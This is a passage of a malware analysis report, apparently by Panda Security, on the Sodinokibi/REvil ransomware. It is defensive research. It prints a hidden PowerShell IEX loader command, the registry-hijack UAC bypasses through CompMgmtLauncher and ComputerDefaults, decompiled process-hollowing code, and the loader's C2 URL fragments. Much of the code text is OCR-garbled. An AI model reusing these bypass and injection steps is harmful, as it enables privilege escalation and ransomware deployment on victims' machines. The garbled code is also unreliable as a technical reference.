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1. Executive report

This document contains an analysis of a sample of the ransomware Sodinokibi.

The ransomware Sodinokibi, also known as REvil, first appeared in the second half of 2019.

This ransomware is characterized by its advanced evasion capacity and the large number of
measures that it takes to avoid being detected by antivirus engines.

It has also been observed that this ransomware exploits a vulnerability in Oracle Weblogic servers.
This characteristic makes Sodinokibi something of an anomaly. However, like many other ransomware
families, Sodinokibi is a RaaS (ransomware as a service), which means that while one group
maintains and writes the code, another group delivers the malware. [3]

Throughout 2019, there was a progressive increase in the number of companies being attacked
by cybercriminals using this ransomware.

Home :* Express

Unos hackers secuestran archivos del
A{untamiento de Zaragoza en un
ciberataque

HOY ARAGON = 20 NOVIEMBRE, 2019

Figure 1.1: Extract from Hoy Aragén about a Sodinokibi attack [Hackers take files hostage in
Zaragoza City Hall during a cyberattack] [1].

RANSOMWARE CIERRA UNA EMPRESA
FABRICANTE DE PIEZAS DE AUTO CON MAS DE
100 ANOS DE ANTIGUEDAD; MAS DE 4 MIL
EMPLEOS PERDIDOS

Figure 1.2: Extract from noticiasseguridad.com about a Sodinokibi attack [Ransomware
closes a 100 year-old auto parts company; over 4,000 jobs lost] [2].

< panda 3

a WatchGuard brand pandasecurity.com/es/business/



Sodinokibi has attacked a wide range of targets in a large number of countries [3]. However, the

focus of attacks with this ransomware has been Europe, the USA, and India.
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Figure 1.3: Map showing Sodinokibi attacks.

Spain is ninth on the list of most affected countries.

o
Nicaragua 3.76% Jsrael 7.52%

Guatemala 3.76%,

Germany 7.52%

United States 6.02%

Brazil 4.51%_

Ireland 4.51%_

hailand 6.02%

Figure 1.4: TOP 19 countries affected by Sodinokibi
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Despite having been discovered in the first half of 2019, Sodinokibi was the most lucrative
ransomware in the last quarter of the year, earning almost 8% more than Ryuk [4].
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Figure 1.5: Costs caused by ransomware in Q4 2019.
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2. Features:

2.1. General features JavaScript loader

JavaScript, which launches this ransomware, isn’ t in our events, but the detection is registered on
our systems, categorized as malware since 05/01/2019.

MD5:3E974B7347D347AE31C1B11C05A667E2

Clasficacion: MW Brokenirfo: [OK
&

[ Ranker Risk: [NULL

[NuL

J
Category: [Suspect (20.21) 01/05/2019 557:01 ]
Dateimpor: [30/04/2019 20:3424 ]
J
J

Size: [3164334

TypeFomatEx: [UNKNOWN Overlay: [NULL

HeurFI: [DESCARTADO
Google: [DESHABILITADO

ExeType: [Unknown

ExeimagsType: [UNKNOWN

Figure 2.1: Characteristics of the MD5 referring to the JS loader.

On VirusTotal (VT), you can see that most engines classify it as a dropper. You can also see that
other analysis platforms have detected it as the JS that launches Sodinokibi.

Kaspersky \_I/ Trojan-Dropper.JS.Agent.pz

McAfee (1) JsiDropper

Microsoft \_I/ Trojan:Win32/Occamy.C
#malware

MalwareName: Sodinokibi: The Crown Prince of Ransomwars

#5Sodinokibi #Ransomware
Adversary: Sodinokibi

#CodeGreenlLabs

codegreen ae

Figure 2.2: Images from VT referring to Sodinokibi.
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2.1.1. Technical characteristics of loader:

This JavaScript creates other Scripts and obfuscated DLLs, which it launches on the system. The

main aim of these is to bypass the UAC to obtain privileges and hollow the process in order to

run Sodinokibi. We go into more detail about this in point 4, “Interaction with infected system”.

In phase 1, it carries out this bypass using CompMgmtLauncher, which always searches for

a registry key, which, by default, does not exist.

556 ﬁHegO‘eateKey HEC LM Software Classes mscfile  \shel\vopen*\command MAME NOT FOUMD
586 ﬁHegCreateKey HEC LM Software Classes mscfile shell SUCCESS
556 ﬁHegQuer}fKey HEC L Software Classes mscfile shell SUCCESS |
956 ﬁHegCreateKey HEC I Software Classes mscfile shelwopen SUCCESS
556 ﬁHegGDseKey HECLMSoftware Classes mscfile shell SUCCESS
956 ﬁHegQuewKey HEC M Software Classes mscfile shelopen SUCCESS |
956 ‘fHegC:eateKey HECLMNSaoftware\Classes mscfile shellopen‘command SUCCESS

Figure 2.1.1. Failed registry search.

This means it will be be created with the content of one of the PowerShells (PS) that it
wants to execute with administrator privileges.

Thread: 2276

Class: Registry

Operation: RegSetValue

Result: SUCCESS

Path: HKCU\Software \Classes\mscfile\shell\open'command (Default)

Duration: 0.0000125

Type: REG_SZ

Length: 446

Data: C:\Windows\SysWOWs4\WindowsPowerShely 1.0'powershell. exe -ExecutionPolicy Bypass -windowstyle hidden -Command "TEX {{[System.IO.File]::ReadAlText(C: \Users

Figure 2.1.2. Creation of Key with PS content.

In phase 2, it will carrying out the process hollowing. It will try to do this on the Ahnlab
antivirus.

su
51

b _4B2Fg4(va, , v9, &loc_412EB8, &savedregs);
zep(fee);

5 = sub_412BFC{v5, "HELP");

if

i

¥
MEDRCheck{dword 414884, @, *( DWORD *)(ve + 4));

Y .
( serverstatusCheck(vd, (int}"V3 Service™)
&& CheckfutorutRoute((int)"C:\\Program Files\\AhnLab\\V3Lite3@\\MUpdate2\\Update\l\autoup.exe™) )

Sleep(l2ee0000) ;
StartProcessHollowing(
&dword 414834,
(signed _ int32)"C:\\Program Files\\AhnLab\\V3iLite3@\\MUpdate2\\Update\\autoup.exe™);

su
s1

b ABIrEal s
eep(8993000008) ;

Figure 2.1.3. Structure of search of Ahnlab.

Given that it is likely that this process does not exist, another PS instance will be created

on another process to perform the action. In the image you can see how the strings are
obtained in order, the in-memory processes are read, and how it tries to access one of

them.
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= (CHAR *)sub_am3FsC();
= (const CHAR *)sub_4@3FBC();
if ( CreateProcessA(v5, v8, ®, @, @, 4u, 8, 8, &StartupInfo, &ProcessInformation} )

IpContext = (LPCONTEXT)sub_412884();

if ( lpContext
‘.
lpContext-»ContextFlags = 65543;
if ( GetThreadContext(ProcessInformation.hThread, lpContext) )

ReadProcessMemory
P Information.hProcess,
ID)(lpContext->Ebx + 8),

4u,
&NumberofBytesRead);
if ( *(_DWORD *)(v4 + 52) == e
&& NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)(v4 + 52)) )
1
lpBasefddress = VirtualAllocEx(ProcessInformation.hProcess, @, *(_DWORD *)(v4 + B8), @6x3000u, @xddu);
h
else
{

Figure 2.1.4. Search for another process.
2.2. Characteristics of the Sodinokibi payload

There are many variants of the payload, as well as of the loader, due to the fact that Sodinokibi
is a RaaS (Ransomware as a Service). There are different versions of the ransomware since it is
constantly being updated..

This malware first appeared in 2019: On 04/26/2019 it was first seen in attacks on several
companies.

Brokeninfo: [OK

CompierName: [NULL

Category: [Maware (100.103) 06/05/2019 12:38:04
Datelmport:[06/05/2019 1235:20
TypeFormatEx: [EXE

Sze: (161280
Overay: [NULL

HeurFl: [NO_FI
Google: | DESHABILITADO ExcimageType: |PE32_EXE

J
J
J
J
ExeType: [Unknown ]
4

Figure 2.2: Characteristics of the MD5 referring to the Sodinokibi payload.

2.2.1. Technical characteristics of Sodinokibi payload

is payload is an executable loaded in memory. Its main aim is to perform the most important
task of this ransomware: Encrypting the files and demanding a ransom for them. Within this
executable there are distinct parts where you can see how it achieves all of this. We go into
more detail about this in section 5, “Sodinokibi”. Its most important characteristics are:

Gathering the Import Address Table (IAT), where it will dynamically obtain all the imports
that it will use throughout the process. In the image are some of the libraries that it has
loaded.

Address | Hex ASCII

76B32FBE |41 &4 64 49|6E 74 65 67|72 &9 74 79|4C 61 62 65 |AddIntegrityLabe
76B32FCB|6C 54 6F 42|6F 75 GE 64|61 72 79 44|65 73 63 72| 1ToBoundaryDescr
76B32FDB| 69 70 74 &F (72 00 41 64|64 4C &6F 63|61 6C 41 &C|iptor.AddLocalal
76B32FEB|74 65 72 GE(61 74 65 43 (6F 6D 70 75|74 &5 72 4E| ternateComputern
76B32FFB| 61 6D &5 41|00 41 64 64|4C 6F 63 61 |6C 41 &C 74| ameA.addLocalAalt
76B2300B| 65 72 GE 61|74 65 42 &F|6D 70 75 74|65 72 4E 61| ernateComputermNa
76B3301B| 6D &5 57 00|41 64 64 52|65 66 41 63|74 43 74 75| mew.AddRefActCtx
76B3302B| 00 41 64 64|53 49 44 54|6F 42 6F 75 |6E 64 61 72| .AddSIDToBoundar
76B3303B |79 44 65 73|63 F2 69 FO|74 6F 72 00|41 64 64 53 |yDescriptor.Adds
76B3304B| 65 63 75 72|65 4D 65 6D |6F 72 79 43|61 63 68 65| ecureMemoryCache
76B3305B |43 61 6C 6C (62 61 63 6B|00 41 64 64|56 65 &3 74(|Callback.Addvect
76B3I306B|6F 72 65 64|43 6F 6E 74|69 6E 75 65 |48 61 6E 64| oredContinueHand
76B3307B|6C &5 72 00|41 64 64 56|65 63 74 6F |72 65 64 45| ler.AddvectoredE
76B3308B|78 &3 65 70|74 69 6F BE|48 61 &E &4 |6C &5 72 00| xceptionHandler.
76E3309B | 41 64 6A 75|73 74 43 61|6C 65 6E 64|61 72 44 61| AdjustCalendarDa
76B3I30AB |74 65 00 41|6C 6C 6F 63|43 6F GE 73 |6F 6C 65 00| te.AllocConsole.
76B330BB |41 &C &C 6F|63 61 74 65|55 73 65 72|50 68 79 73|AllocateuserrPhys

Figure 2.2.1. Dynamically gathering IAT.
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- Exploit for CVE 2018-8453, a vulnerability in Win32k, which will be used if administrator
privileges still haven’ t been achieved.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberacion incorrecto de recursos
Gravedad: Alta [l

Fecha publicacién : 10/10/2018

Ultima modificacién: 02/10/2019

Descripcién

Existe una vulnerabilidad de elevacion de privilegios estiona adecuadamente los objetos en la memoria. Esto también se conoce como
"Win32k Elevation of Privilege Vulnerability". Esto afecta R2, windows RT 8.1, Windows Server 2008, wWindows Server 2019, Windows Server 2012,
Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10 y Windows 10 Servers.

Figure 2.2.2. CVE 2018-8453.

In the process, you can see how it obtains the files and attributes that it needs from
Win32k. It then launches this exploit.

'pu'sh eax eax: L"C: Y \Wwindows\ i\ system32' \win3zkfull. sys"
€all dword ptr ds:[<&GetFileattributesExw:]

F—— - L & SRR IR P

Figure 2.2.3. Obtaining Win23k attributes.

- Json. This section may be the most important, as the malware relies on this file at all times
to make checks, such as: Where it has to send user information, what folders to check, what
files to encrypt, etc. This file is stored in a section of Sodinokibi, as .grrr. It contains several
ways to monitor bugs, and if the Json is tampered with, the execution is aborted.

Mame Virtual Size Virtual Address | Raw Size Raw Address Reloc Address | Linenumbers
00000240 00000248 0000024C 00000250 00000254 00000258 0000025C
Byte[8] Dword Dword Dword Dword Dword Dword

text 00009974 00001000 00009ADD 00000400 00000000 00000000
.rdata OO0OFT60 V] OO0DOF300 0DOOSEDD 00000000 00000000
.data 00001330 00018000 00001200 00019600 00000000 00000000
.grrr 0000CB00 00010000 0000CB00 0001AB00 00000000 00000000
reloc 0000050C 0D02AD00 0O0D0E00 00027000 00000000 00000000

£

B e o p =

Of f set 01 2 3 4 &5 6 7 B 9 & B S D E F Azcii

nooooono | 73 68 42 4B 72 34 78 48 44 4D 6B 78 52 4B 55 6B shBEr4xHIMk=REUk
oooooo10 | 41 77 71 75 &8 42 72 58 k3 36 48 57 62 66 34 6D AwquhBrEceHWbE 4m
Qoooooz0 | 2E F3 A9 26 FO 54 00 00 48 FF 8E 7D 61 61 Be 17 Lo2EET . Hyl baatD
Q00000030 | 10 48 F5 10 1B 00 93 D7 C2 FB SE 20 D4 89 2E 7E | oHeEoo . p<dal 01~
Q0000040 | 88 DE EB 97 42 32 89 FF DO 94 36 63 9D 71 SB B4 10=1B2 17016 g~
nooooos0 | 57 61 86 42 BB EF A0 58 B7 69 6F A3 0D 8F 33 C1 WalB,i ¥ i0f. 34
00000060 | OF 3E 08 BA DS 3E CD EC D2 9D &0 FD 44 3B 94 OF |0:0e5:1i0 AN |1
nooooov?o | B3 13 YD 60 &C 1D BC 44 FB8 93 8F E3 CC BE A8 92 0371 WJal 5l
noooooso | 23 C5 32 38 C2 46 B2 25 A4 FB AE 43 EF 5C 6C B3 #AZBAF HEECIN
00000090 | 1E 64 02 87 9B DA 29 47 &7 C3 2E BD 75 EE 99 03 d 11T)Ggd Huilo

Figure 2.2.4. Json in .grrr section.
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3. Entry vector

The most common way for Sodinokibi to get onto systems is through a malicious email sent as part
of a phishing campaign. This email contains a link where the user will download a .zip file containing
the Sodinokibi loader. The attackers distribute the malware this way since it makes it easier to reach
victims. On the other hand, distributing the malware within a .zip file helps it to get around some
malware protections on the computer that is to be infected.

The .zip file normally contains an obfuscated JavaScript file, like the one to be analyzed in this report.

4. Interaction with infected system

Firstly, we can see the obfuscated JavaScript, which will be responsible for dropping, deobfuscating,
and launching a PS script.

Droppea script
Wscript.exe —» Loaderjs |—®» ofuscado.tempen
%temp%

Carga en memoria
test.dlly lanzala
funcién install1l

Powershell.exe

Figure 4.1: Diagram of how the loader works.

When executed, you can see that it launches a wscript.exe to launch the JavaScript (JS) which, in
turn, will execute a PS that will perform a bypass to escalate privileges- This is carried out with a file
generated in %temp%, called jurhrtcbvj.tmp.

- spaevunfkbptg
- wtutwjaemot
- ditgkddivs

var tzmcgs=dfmpl

augdcuxr A
(i o
augdcuxr

var oxjcwveflbn
jcwveflbn. Type

oxjcwveflbn File(fwruloa,2);
oxjcwveflbn

Figure 4.2: Execution of dropping in temp.
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t then launches a PS to deobfuscate the tmp and run it. The PowerShell is launched by wscript.exe.

| @ wscript exe
N powershel exe

C:\Windows\SysWOW64\WindowsPowerShell\vl.@\powershell.exe"” -ExecutionPolicy
Bypass -windowstyle hidden -Command "TEX (([System.I0.File]::ReadAllText(

'C:\Users\INFECT~1\AppData\Local\Temp\jurhrtcbvj.tmp')).Replace("1","'"));

Figure 4.3: Deobfuscation of tmp.

When the PowerShell has finished executing, it will try to contact one of the 3 domains that can be
seen in the following image, and will then finish.

False);

(rppmeq.status

/-asp.com.br/video.php')) {
lolizi.com/video.php')) {

villalormeraie.com/video.php'};

Figure 4.4: Connection to three domains

The dropped tmp jurhrtcbvj.tmp is also an obfuscated script, which first tries to deobfuscate with the
sign “I” and then by loading a base64. You will see that it contains another string in base64, which will
launch aninstall1() function, which will load a dll.

[ jurhrtcbvitmp E3 |

‘ 1 St!lart!!-!Slela!p!!! —si! 11311101 1 [Sy'al!clem! . !T!ext!!.En!clo! !di'ng!]:!!:!Un! lic! lo!d! !e. !Ge!tSE!xr!i! Ing! {[!

evmu,/LMjICctduw+7 Irco7 hrBlFtNpyztgb+nSbrC0Z3I9R+NRj /I3KEeZudDr
UP99+++vhbvedsxb03Tn8ktnS 7 if:
1 [rReflection.Assembly]::Load($uUnFiBy) [Test]::Installl(

Figure 4.5: First deobfuscation of the script.

By replacing the execution scrips with what was written in the file, we managed to deobfuscate the
script.

$UnF1By = New-Object Byte[](9416856)
$DefSt.Read($UnFiBy, ©, 941056) | Out-Null

[io.file]::WriteAllBytes('C:\Users\ \Desktop\= \payload 1l.netmodule',$UnFiBy);

Figure 4.6: Second deobfuscation
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The file obtained is a .NET module that contains a function called Install1(), which will load in memory
and executes the content of an obfuscated variable in base64.

Figure 4.7: Obcated Istal() containing first d

4.1. Phase 1: Privileges
Once the bas64 is deobfuscated, a dll is obtained, which is responsible for bypassing the UAC seen in
the dynamic section in the previous point.

Va a la fase final

Comprueba los

1* DLL/Test.dIl  — o
privilegios del proceso

Busca el registro - crea con .
Software\Classes\mscfile\open\command\ S

l

\ \
- El nuevo explorerexe '\
Ejecuta un nuevo
)—P |
explorer.exe | . » |
CompMgmtLauncher.exe |
J l Y,
Puesto que
q Ejecuta el PS con
CompMgmtLauncher .
. permisos de
tiene Autoelevate, administrador
tiendrd privilegios

Figure 4.1.1. Diagram of bypass

Firstly, the dll checks the privileges that the processes have, since it will need administrator
permissions to perform all the actions. To do this, by calling functions AllocateAndInitializeSid
andCheckTokenMembership, it checks what group of users the token belongs to and, therefore, what
permissions it has.

In the first image, you can see how an SID initializes. Once it is ready, it makes the check in step two.
With this, it will determine that the SID is available for the access token. As you can see, TokenHandle
is called with the argument 0, that is, no string is specified, and the default string is used.
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This step serves to check whether the process used has administrator permissions, since when it
is executed, it does not have sufficient permissions and must elevate them. This is the step before
escalating UAC permissions.

lea eax, [ebp+pSid]

push eax 3 p=>id

push @ 3 nSubfuthority?

push a 3 nSubfuthoritye

push @ 3 nSubAuthoritys

push @ 3 nsubfuthority4

push @ 3 nSubfuthority3 o
push a 3 nSubfuthority2

push 228h 3 nSubAuthorityl

push 28h 3 nsubfuthority@

push 2 3 nSubfuthorityCount

push offset pIdentifierfuthority ; pIdentifierAuthority
call AllocateAndInitializeSid

call sub 48B7BC

Lea eax, [ebp+IsMember]

bush EEN ; IsMember

mov eax, [ebpt+p5id] e
bush eax 3 SidToCheck

bush @ 3 TokenHandle

Eall CheckTokenMembership

If TokenHandle is NULL, CheckTokenMembership uses the impersonation token of the calling thread. If the thread is not

impersonating, the function duplicates the thread's p n to create an im

Figure 4.1.2. SID structure filling.

As mentioned above, if it does not have admin privileges, it will continue and will not reach the final
part of the dll.

call _CheckToken
test al, al
jnz loc_413BEF
A J
P
mov eax, offset dword_ 415894
loc_413BEF: call sub_484868
call sub_4133E@ call _GetCMD
mov esi, eax
test esi, esi
jle short loc_413B67

Figure 4.1.3. Conditional that checks if there are admin privileges.

We reach the bypass and find two ways of carrying it out. The first function, which we have seen in the
above diagram, uses CompMgmtLauncher to carry out the privilege scaling if it hasn’ t been able to
carrying out this scaling already. Since it could be patched, it will be carried out using DelegateExecute
with ComputerDefaults.exe, another very similar technique.

In steps, in the first function, which is the one that is carried out, it creates a new registry entry in
Software\Classes\mscfile\open\command\.
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lea
maw
call
maw
maw
M
call
push
call
push
mow
xor
xor
call
push
call

eax, [ebpt+var_B]

edx, offset asoftwareClasse ; "Software'\\\Classes ' \\Vumscfil
_CreatePoint

ecx, [ebptvar 4]

edx, [ebptvar 8]

eax, Se8ea8alh

_Registry

177@h 3 dwMilliseconds

S5leep

offset aCWindowsSystem ; "C:\\Windows\\5Sy
ecx, offset aCWindowsExpleor ; "C:'\Windo
edx, edx

eax, eax

_RunasEﬂecute

177@h ; dwMilliseconds

Sleep

Figure 4.1.4. New registry entry.

This is done since, by default, the dll searches for this registry and doesn’ t find it. This is a commonly
used technique in dll hijacking.

556 ﬁﬂeg&eatel{e}r HKC UM Software\Classes'mscfile \shel\open\command NAME NOT FOUND
956 ﬁ RegCreatekey  HKCUMSoftware'Classes \mscfile shell SUCCESS

556 ﬁ RegQuervkey  HKCLUMSoftware'Classes mscfile“shell SUCCESS I
556 ﬁ RegCreatekley  HECLUMSoftware'Classes mscfile shelopen SUCCESS

556 ﬁ RegClosekey  HKCUMSoftware'Classes mscfile shell SUCCESS

956 ﬁ RegQuervkey  HECUMSoftwars'\Classes mscfile shelopen SUCCESS I
55H6 ‘f RegCreatekey  HKCUMSoftwareClasses'mscfileshelopencommand SUCCESS

Figure 4.1.5. Failed registry search

It then makes use of CompMgmtLauncher and explorer.exe. The aim is to create a new instance of
explorer.exe, which will launch CompMgmtLauncher. When it is launched, this dll will search for the
MgmtLauncher registry. Having created a new registry entry with this name, and with the contents
of the script, the PS will be executed with administrator permissions, given that, as you can see, this
executable belongs to System32.

¥ powershell exe 2636 ﬁHegOpenKe'y HKLM" Software " Wow6432MNode \Microsoft ' Windows Cument Version
E¥powershell exe 2636 &5 Process Create  C:\Windows'explarer.exe |
powershell exe 2636 ﬁ RegSetinfokey HELMA\SOFTWARE WowE43Z2Node  Microsoft \ Windows\Cument Version
Thread: 196
Class: Process
Operation: Process Create
Result: SUCCESS
Path: Ci\windows\explorer.exe
Duration: 0.0000000
PID: 24584
Command line: "C\Windows\explorer.exe™ C:\Windows\System32\CompMgmtLauncher.exe
956 @ ReqGuen/Value HKLM\SOFTWARE\Wow8432Node' Microsoft\Windows\CurentVers _SUCCESS Type: REG_EXPAND_SZ, Length: 34, Data: %:System Root 2hinf
956 g?rucesa Create C.\Wu.wduws\eaq)lmer.exe . SUCCESS PID: 1504, Command line: "C:\Windows'\explorer.exe” C:\Windows"System 32\ CompMgmt Launcher.exe

956 @t RegGuenkey HKCU\Software'Classes'mscfilc'shell‘opencommand
956 #ff RegSet Value

Thread:
Class:
Operation:
Result:
Path:
Duration:

Type:
Length:
Data:

< panda

SUCCESS  Query: HandleTags. Handle Tags: (401
HKCUM\Seftware'Classes'mscfile\shel\opentcommandDefault)  SUCCESS  Type: REG_SZ. Length: 446, Data: C:\Windows\SysWOW6£\WindowsPowerShell'w 1.0%powershell exe -Execution Policy Bypass -window

2276

Registry

RegSetvalue

SUCCESS

HKCU\Software\Classesmscfile\shelllopen'command \{De fault)
0.0000125

REG_SZ
6
C:\Windows\SysWOWs\WindowsPowerShellly 1.0\powershell.exe ExecutionPalicy Bypass -windowstyle hidden -Command "IEX (([System.10.File]::ReadAlText{C: {sers

Figure 4.1.6. CompMgmtLauncher procedure.
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Once this procedure has been executed with RUNAS, it will delete the registry key to avoid being
detected on the system.

CompMgmtLauncher comes from Computer Management, i.e., mmc.exe (Microsoft Management
Console), a component of Windows. This means that when the command is executed, it simply calls
mmc.exe, and the vulnerability exploits the launcher.

=" Run @

——  Typethe name of a program, folder, document, or Internet
resource, and Windows will open it for you.

Open: | -

QK || Cancel || Browse... |

— -
Emmc.exﬂ
A Computer Management

File Action View Help

= B = HE

A Computer Management (Local | Name

4 [} System Teols
T

((£) Task Scheduler E3storage

| More Actions
i Event Viewer —
ijl Shared Folders T Services and Applications

& Local Users and Groups
‘«1 Performance

Actions

[} System Tools Computer Management (L. &

iy Device Manager
4 %] Storage
= Disk Management

H i cmd A Bmadimnn

Figure 4.1.7. Call to mmc.exe

CompMgmtLauncher has autoelevate characteristics, meaning that if an app is launched with
this executable, it will be launched with admin permissions. When it is executed, it seeks a registry
key by creating the key with a cmd and a PowerShell inside. When the system is told to execute

CompMgmtLauncher, it will look for the key, find it, execute it, and launch the PS with admin
privileges.

{assemblyldentity
name ="CompMgnt Launcher"
processorArchitecture="and64"
version="1_60._.8_8"
s
{description>Snapin Launcher{sdescription’>
<trustInfo xmlns="urn:ischemas—microsoft-com:asm.v3">
{security>
<requestedPrivileges’>
<{requestedExecutionLevel
level="requireAdministrator"
uificcess="false"

s
<s/requestedPrivileges>
{/security>
{s/trustInfol
<asmel:tapplication?
{asmu3:windowsSettings xmlns="htto: /schemas microsoft._com SMI- 2805 -lindowsSettings"'>
{autoElevate>true< /autoElevate>
</AEMU3 s WiNAoWSHeTTiNngs >
<sasmu3:application’
sassemhly’>

Figure 4.1.9. Characteristics of Autoelevate in CompMgmtLauncher

There is a second option: To escalate using DelegateExecute, i.e., scaling using a fileless method. In this
case, you can see how a key entry is carried out Software\Classes\ms-settings\shell\open\command\,
which is done using a vulnerability where, by default, when it runs, ComputerDefaults tries to search
for a key Software\Classes\ms-settings\shell\open\command\DelegateExecute, which does not exist.
Having created it, when an attempt is made to execute ComputerDefaults, we get a shell with scaled
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privileges, or in other words, in this case, a new PS is launched as admin.

In both cases, you can see how it deletes the key once it has scaled privileges.

lea eax, [ebptvar_3]

mow edx, offset aSoftwareClasse ® ; "Software\\\\Classes\\\\ms-settings\\\\s"...
call _CreatePoint

lea eax, [ebpt+var_C]

mow edx, offset aComputerdefaul ; "ComputerDefaults.exe”
call _CreatePoint

mow ecx, [ebptvar_4]

mow edx, [ebptvar_3]

mov eax, 30800881h

call _Registry

lea eax, [ebptvar_ 18]

mow ecx, offset aDelegateexecut ; "DelegateExecute”
mow edx, [ebptvar_8]

call sub_4@842F@

mow edx, [ebpt+var_18]

xor O, BCX

mov eax, 3080028L1h

call _Registry

push 1778h 3 dwMilliseconds

call Sleep

push <]

mow ecx, [ebptvar_C]

xor edx, edx

xor eax, eax

call _RunasExecute

push 1778h 3 dwMilliseconds

call Sleep

mow edx, [ebpt+var_3]

mow eax, S56688881h

call _Deletekey

lea eax, [ebp+var_14]

mow ecx, offset aDelegateexecut ; "DelegateExecute”
mow edx, [ebptvar_8]

call sub_4B42F@

mow edx, [ebp+var_14]

mow eax, S56688881h

call _Deletekey

Figure 4.1.10: Bypass DelegateExecute procedure.

If we continue to analyze the dll, you can see that in Resources, there is an encrypted PE called “Help”,
which represents the process injection and process hollowing in phase 2.

rcdata DVCLAL 00001 A2E4 neutral 263D4F38C28237B8F3 24420317, B=08..70uSBunuin

HELP 0:000LA2F4  |Russion | 36212B7B797B7B7BTFTBT47B84... [ 6!+ {y{{{.{t{..{{

rcdata PACKAGEINFO  (n00057CF4 neutral 0000008C000000001200000001 ..
Figure 4.1.11: Encrypted Help function in Resources.

This PE is another dll, which is decrypted and executed again in memory. To do this, you can see that
it uses a XOR to decrypt it. If a loop is launched, you can see how headings and the usual MZ of a PE
appears.

. —— e v e g e s e
. FF12 €&l dword ptr ds:[edx]
. 85CO0 test eax,eax

[eeemes ®| 00233344 ~ 7E D& jle installi_payload_desofuscado. 2333AC

| r——#- 002333A6 201E xor byte ptr ds:[esi],bl

! 46 inc esi

! 48 dec eax

i ~ 75 FA jne installi_payload_desofuscado. 2333A6

33C0 KOP 2ax,eax
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Whoump 1 | Epumpz | @Wpump3 | Woump4 | Eoumps | @ watch1 | x=lLo
Address | Hex ASCIT

00450898 |36 21 2B 7B|79 7B 7B 7B|7F 7B 74 7B |84 B4 7B 7B|B!+{¥ii1-101--11
0045D8AB|C3 7B 7B 7E|7B 7B 7B 7E|3B 7B 61 7B|7B 7B 7B 7B|A{{{{{{{:faf{{{f{
0045D8B8 |78 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B | {{i{{{i{{f{{{ffq
0045D8C8(7E 7B 7B 7B|7BE 7B 7B FB|7B 7B 7B 7B|7B FA 7B 7B|{{{{iitii{iiizii
00450808 |C1 &8 7R 75|64 CF 72 BG|SA €3 7A 37|B6 5A EB EB|Ak{udIryZAzryzés
0045D8ES|2F 13 12 08|58 OB 09 14|1C 09 1A 16|58 16 0FE 08|/ ue.feeennn.
0045D8FE8|0F 58 19 1E|5B 0% OF 15|58 OE 15 1F |[1E 0% 5B 2C| . [eefeeelenen. [,
0045D908|12 15 48 49|76 71 5F 4C|7B 7B 7B 7B|7B 7B 7B 7B|..HIvg_L{{{{{{{{
00450918 |78 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|7B 7B 7B 7B | {{{{{{{{{f{{{{f{
00450928 |78 7B 7B 7E|7B 7B 7B FE|7B 7B 7B FB|7B 7B 7B 7B | {{i{{fi{{fi{{ff{
00450938 |78 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|{{i{{fi{{fi{{ftq
0045D948| 7B 7B 7B FB|7B 7B FB FB|7B 7B 7B FB|7B 7B FB FB|{{{{{{{i{{{{it{{{{
00450958 |78 7B 7B FB|7B 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B {{f{{fff{fifffsd
Woump 1 | @pump2 | Wpump3 | Eoumpe | Epumps | BB watch 1 | [=] Lo
Address | Hex ASCII

00450898 | 4D GA 50 00|02 00 OO0 00|04 00 OF OO|FF FF 00 7B|MZP...c.u... V.1
0045D8AS|BS 00 00 00|00 00 OO 00|40 00 1A O0(00 00 7B 0O ,....... @..... f.
004508E8 |00 00 00 00|00 00 OO0 00|00 OO0 00 OO(7B 7B 7B 7B|............ L5
0045DBCE| 7B 7B 7B 7B|7B YBE 7B FB|7B 7B FB FE|7B FA FB 7B 1

{{{{{i{{{,&z{{{z""
00450808 (1 EB FB 7O |64 CF 72 B&|5A C3 7A 37|B6 SA EB EB|Ak{udIryZAz7YZéé
0D045DBES | 2F 13 12 O5(5E OB 09 14|1C 09 1A 16|58 16 0E 08| /.. ..[.veeeuu[ann
0045DBFE | OF 5B 19 1E|S5B 0% OE 15 |5E OE 15 1F(1E 0% 5B 2C|.

00450908 |12 15 48 49|76 71 5F 4C|7E 7B 7B FB|7B 7B 7B 7B|..HIva_L{{{{{{{{
0045D918| 7B 7B 7B 7B|FBE 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|{{{{{{{{{{{{i{{{
0045D923 | 7B 7B 7B 7B|FB 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|{{{{{{{1{i{{{i{{l
00450938 | 7B 7B 7B 7B|FB 7B 7B FB|7BE 7B 7B FB|7B 7B 7B 7B |{{{{{{ii{{{i{{{il
00450948 (7B 7B 7B 7B|7B 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|{{{{{{{{i{{{i{i{1
D045D958 |7E 7B 7B 7EB|FE 7B 7B 7FB|7BE 7B 7B FE|7B 7B 7B 7B | {{{{{{{{i{{{{i{{{

Figure 4.1.12: Decrypting the Help function.

Once deobfuscated in memory, we get the following dll, and can move on to phase 2.

4.2. Phase 2: Process Hollowing

The second loader is used to load the final payload, trying to hollow the process on the Ahnlab
antivirus. If the computer doesn’ t contain this process, the executable creates another instance of
PowerShell where it will try to hollow another process.

In the red box you can see the main feature of the DLL. It first carries out a call to
_ServerStatusCheck with the parameters V3 Service and 0.

*off_413518 = 1;
sub_485758();
vll = &savedregs;
vle = &loc_412EB8;
v3 = NtCurrentTeb()->NtTib.ExceptionList;
_ writefsdword(®, (unsigned int)&v9);
LOBYTE(v3) = 13
sub_4@2F34(v4, v3, v9, &lec_412EB8, &savedregs);
sleepibee);
VG = sub 412BFC(v5, "HELP");
w7 4‘|.
if ( serverstatusCheck(vs, (int}"V3 Service™)
&& CheckAutorutRoute((int)"C:\\Program Files\\AhnLab\\V3Lite3@\\MUpdate2\\Update\\autoup.exe™) )
{
Sleep(12660608);
StartProcessHollowing(
&dword_414884,
(signed __int32)"C:\\Program Files\\AhnLab\\V3iLite3@\\MUpdate2\\Update\\autoup.exe");

i
EDRCheckédword 414884, @, *( DWORD *)(vé + 4));
Sub_ [9H

5leep(B99300608) ;

_ writefsdword(®, (unsigned int)va);
vll = (int *)&loc_412EBF;
sub_483480();

Figure 4.2.1. Structure of the second loader.
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We discover that this subroutine effectively returns a Boolean when comparing the result of
